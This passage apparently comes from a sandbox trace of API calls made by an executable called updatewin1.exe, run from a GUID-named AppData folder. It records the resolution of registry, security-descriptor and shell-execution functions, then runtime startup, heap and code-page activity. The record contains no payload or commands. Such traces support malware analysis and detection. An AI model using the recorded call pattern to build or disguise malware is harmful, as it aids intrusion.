(hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0053.770] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0053.770] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatA") returned 0x76c52b7a [0053.770] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyA") returned 0x76c52a9d [0053.770] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentVariableA") returned 0x76c333a0 [0053.770] GetProcAddress (hModule=0x76c20000, lpProcName="GetShortPathNameA") returned 0x76c5594d [0053.770] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0053.770] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0053.770] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0053.770] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0053.771] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0053.771] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineA") returned 0x76c351a1 [0053.771] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0053.771] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0053.771] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0053.771] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0053.771] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0053.771] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0053.771] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0053.771] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0053.771] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0053.771] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0053.771] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0053.771] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0053.771] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeSListHead") returned 0x771694a4 [0053.772] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0053.772] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0053.772] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0053.772] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0053.772] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0053.772] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0053.772] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0053.772] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0053.772] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0053.772] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0053.772] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0053.772] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0053.772] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0053.772] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0053.772] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0053.773] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0053.773] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0053.773] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0053.773] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0053.773] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0053.773] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0053.773] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0053.773] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0053.773] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0053.773] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0053.773] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0053.773] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileExW") returned 0x76c41811 [0053.773] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0053.773] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0053.773] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74d40000 [0053.774] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0053.774] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0053.774] GetProcAddress (hModule=0x74d40000, lpProcName="RegCreateKeyExW") returned 0x74d540fe [0053.774] GetProcAddress (hModule=0x74d40000, lpProcName="SetSecurityDescriptorDacl") returned 0x74d5415e [0053.774] GetProcAddress (hModule=0x74d40000, lpProcName="InitializeSecurityDescriptor") returned 0x74d54620 [0053.774] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6 [0053.774] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fd0000 [0053.774] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0053.774] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0053.774] GetProcAddress (hModule=0x75fd0000, lpProcName="CommandLineToArgvW") returned 0x75fe9ee8 [0053.774] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75340000 [0053.774] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendW") returned 0x753581ef [0053.774] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsA") returned 0x7537ad1a [0053.775] GetProcAddress (hModule=0x75340000, lpProcName="PathRemoveFileSpecW") returned 0x75353248 [0053.775] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x749c0000 [0053.777] GetProcAddress (hModule=0x749c0000, lpProcName="atexit") returned 0x749dc544 [0053.777] atexit (param_1=0x5d63d8) returned 0 [0053.778] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f5dc | out: lpSystemTimeAsFileTime=0x18f5dc*(dwLowDateTime=0xb295f910, dwHighDateTime=0x1d55a45)) [0053.778] GetCurrentThreadId () returned 0x870 [0053.778] GetCurrentProcessId () returned 0x86c [0053.778] QueryPerformanceCounter (in: lpPerformanceCount=0x18f5d4 | out: lpPerformanceCount=0x18f5d4*=17406648264) returned 1 [0053.786] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0053.787] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0053.787] GetLastError () returned 0x57 [0053.788] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0053.788] GetLastError () returned 0x57 [0053.788] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0053.788] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0053.788] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0053.788] GetLastError () returned 0x57 [0053.788] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0053.788] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0053.790] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0053.790] GetLastError () returned 0x57 [0053.790] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0053.790] GetLastError () returned 0x57 [0053.790] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0053.790] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0053.790] GetProcessHeap () returned 0x5c0000 [0053.790] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0053.790] GetLastError () returned 0x57 [0053.790] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0053.790] GetLastError () returned 0x57 [0053.790] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0053.791] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x364) returned 0x5ea9e8 [0053.791] SetLastError (dwErrCode=0x57) [0053.792] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0xc00) returned 0x5ead58 [0053.793] GetStartupInfoW (in: lpStartupInfo=0x18f510 | out: lpStartupInfo=0x18f510*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x4033b0, hStdOutput=0xbe9d59a9, hStdError=0xfffffffe)) [0053.793] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0053.793] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0053.793] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0053.793] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin1.exe\" " [0053.793] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin1.exe\" " [0053.793] IsValidCodePage (CodePage=0x4e4) returned 1 [0053.793] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f530 | out: lpCPInfo=0x18f530) returned 1 [0053.793] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18edf8 | out: lpCPInfo=0x18edf8) returned 1 [0053.793] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0053.793] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x18eb98, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0053.793] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18ee0c | out: lpCharType=0x18ee0c) returned 1 [0053.794] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0053.794] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x18eb48, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굧@Ā") returned 256 [0053.794] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0053.794] GetLastError () returned 0x57 [0053.794] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0053.794] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굧@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0053.794] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굧@Ā", cchSrc=256, lpDestStr=0x18e938, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0053.794] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x18f30c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿqüľHõ\x18", lpUsedDefaultChar=0x0) returned 256 [0053.794] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0053.794] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x18eb68, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0053.794] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0053.794] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18e958, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0053.794] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x18f20c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿqüľHõ\x18", lpUsedDefaultChar=0x0) returned 256 [0053.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x5ea0d0 [0053.795] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x416cb8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin1.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin1.exe")) returned 0x5f [0053.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0xc8) returned 0x5ec160 [0053.795] RtlInitializeSListHead (in: ListHead=0x416bd8 | out: ListHead=0x416bd8) [0053.795] GetLastError () returned 0x0 [0053.795] GetEnvironmentStringsW () returned 0x5ec230* [0053.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xaca) returned 0x5ecd08 [0053.795] FreeEnvironmentStringsW (penv=0x5ec230) returned 1 [0053.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x98) returned 